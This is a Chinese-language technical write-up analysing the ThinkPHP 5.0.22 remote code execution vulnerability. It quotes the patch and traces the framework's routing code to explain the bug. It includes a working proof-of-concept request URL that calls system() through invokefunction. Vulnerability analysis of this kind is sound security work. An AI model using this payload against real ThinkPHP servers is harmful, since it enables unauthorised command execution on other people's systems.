分析一下前几天很火的 tp5
任意代码执行漏洞。
可以先看下官方公告。
测试版本为 ThinkPHPV5.0.22
,测试环境为 OSX+apache2+php5.6+Mysql5.7
。
已修复的版本 5.0.23
在 /library/think/App.php
中 555-556
行中增加了对 $controller
的过滤。
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
POC :
/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
显然问题是出在控制器过滤不严格导致调用了不安全的控制器。
首先进入框架入口
require __DIR__ . '/../thinkphp/start.php';
引入了 start.php
。定位到这个文件
// 2. 执行应用
App::run()->send();
利用run()函数执行应用。全局搜索定位到App.php:77。
在112-120行中查找到有关路由的操作。
$dispatch = self::$dispatch;
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
// 记录当前调度信息
$request->dispatch($dispatch);
跟进定位到 routeCheck()
函数,同样在 App.php:617
继续跟进这个 path()
函数
继续跟 pathinfo()
。
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[Config::get('var_pathinfo')])) {
// 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
unset($_GET[Config::get('var_pathinfo')]);
} elseif (IS_CLI) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}
// 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach (Config::get('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo;
}
终于看到具体的获取方法。以GET方法获取 path
,然后层层传递到达 routeCheck->$request
。
'var_pathinfo'的值为s。
我们再回到 routeCheck()
分析
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
path()
传入后会经过路由检测,导入配置,最后返回调度给 $result
。
定位到 Route::check()
对path进行一些检查替换。
返回来继续分析。
如果调度失败并且开启了强制路由 $must
,就抛出异常。
我们跟进他的异常处理
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
他会调用 parseUrl函数
对path进行解析。跟进 parseUrl
。只看一些关键部分。
public static function parseUrl($url, $depr = '/', $autoSearch = false)
{
if (isset(self::$bind['module'])) {
$bind = str_replace('/', $depr, self::$bind['module']);
// 如果有模块/控制器绑定
$url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
}
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url);
对$url进行了 parseUrlPath
操作,我们继续跟进 parseUrlPath()
。
private static function parseUrlPath($url)
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = [];
if (false !== strpos($url, '?')) {
// [模块/控制器/操作?]参数1=值1&参数2=值2...
$info = parse_url($url);
$path = explode('/', $info['path']);
parse_str($info['query'], $var);
} elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);
} else {
$path = [$url];
}
return [$path, $var];
}
可以看到 parseUrlPath
将 (module/controller/action)
打散装进数组中。将结果返回 parseUrl()
中。parseUrl()将获得的(module/controller/action)封装进$route返回。
$route = [$module, $controller, $action];
然后我们重新回到 run()
函数中, $dispatch
已经获得了数据,继续向下分析。进入 App.php:139
行。
$dispatch
进入到 self::exec()
中,继续跟进。
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}
return $data;
}
由于 parseUrl()
函数最后的赋值,显然我们会进入 module
分支。然后进入 model()
函数,跟进 model()
函数。
public static function module($result, $config, $convert = null)
{
if (is_string($result)) {
$result = explode('/', $result);
}
$request = Request::instance();
if ($config['app_multi_module']) {
// 多模块部署
$module = strip_tags(strtolower($result[0] ?: $config['default_module']));
$bind = Route::getBind('module');
$available = false;
if ($bind) {
// 绑定模块
list($bindModule) = explode('/', $bind);
if (empty($result[0])) {
$module = $bindModule;
$available = true;
} elseif ($module == $bindModule) {
$available = true;
}
} elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module)) {
$available = true;
}
// 模块初始化
if ($module && $available) {
// 初始化模块
$request->module($module);
$config = self::init($module);
// 模块请求缓存检查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except']
);
} else {
throw new HttpException(404, 'module not exists:' . $module);
}
} else {
// 单一模块部署
$module = '';
$request->module($module);
}
// 设置默认过滤机制
$request->filter($config['default_filter']);
// 当前模块路径
App::$modulePath = APP_PATH . ($module ? $module . DS : '');
// 是否自动转换控制器和操作名
$convert = is_bool($convert) ? $convert : $config['url_convert'];
// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;
// 获取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
if (!empty($config['action_convert'])) {
$actionName = Loader::parseName($actionName, 1);
} else {
$actionName = $convert ? strtolower($actionName) : $actionName;
}
// 设置当前请求的控制器、操作
$request->controller(Loader::parseName($controller, 1))->action($actionName);
// 监听module_init
Hook::listen('module_init', $request);
try {
$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller']
);
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
// 获取当前操作名
$action = $actionName . $config['action_suffix'];
$vars = [];
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$actionName];
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
Hook::listen('action_begin', $call);
return self::invokeMethod($call, $vars);
}
这个函数代码略长,大概分析一下。 $request
会进入多模块部署,然后进入 elseif分支
进行模块是否存在的判断。
最后一波操作后会进入
self::invokeMethod($call, $vars);
其中 $call
存放的是 controller
继续跟进 invokeMethod()
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
}
$args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}
此时method是一个数组, [0]
存放的是 think/app,[1]
存放的是 invokefunction
通过 ReflectionMethod
调用 mehtod
也就是 think/app
模型下的方法。
同样,通过 bindParams
获取 $var
中的参数 也就是 payload
中的
&function=call_user_func_array&vars[0]=system&vars[1][]=ls
然后通过
$reflect->invokeArgs(isset($class) ? $class : null, $args);
将方法和参数传入 invokeFunction()
中。
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
执行 call_user_func_array('system',['ls'])
。
若有错误,还请各位大佬指正。